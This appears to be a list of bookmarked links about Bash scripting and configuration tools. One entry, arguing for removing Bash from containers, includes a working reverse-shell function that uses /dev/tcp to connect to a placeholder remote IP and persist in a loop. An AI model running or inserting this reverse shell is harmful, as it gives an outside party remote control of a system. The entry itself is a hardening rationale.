100 private links
GitHub - dylanaraps/pure-bash-bible: 📖 A collection of pure bash alternatives to external processes.
📖 A collection of pure bash alternatives to external processes. - GitHub - dylanaraps/pure-bash-bible: 📖 A collection of pure bash alternatives to external processes.
A simple Bash reverse shell like this one is a good reason to remove Bash from your containers. It uses Bash’s virtual /dev/tcp/ filesystem, and is not exploitable in sh, which doesn’t include this oft-abused feature:
revshell() {
local TARGET_IP="${1:-123.123.123.123}";
local TARGET_PORT="${2:-1234}";
while :; do
nohup bash -i &> \
/dev/tcp/${TARGET_IP}/${TARGET_PORT} 0>&1;
sleep 1;
done
}
This blog post shows tips and tricks to write resilient and idempotent bash scripts.
Minimal Bash script template that will make your scripts safer, consistent with standards, and provide a way to parse and validate parameters.
cdist is a usable configuration management system. It adheres to the KISS principle and is being used in small up to enterprise grade environments. It natively supports IPv6 since the first release.
tweet.sh, a Twitter client written in simple Bash script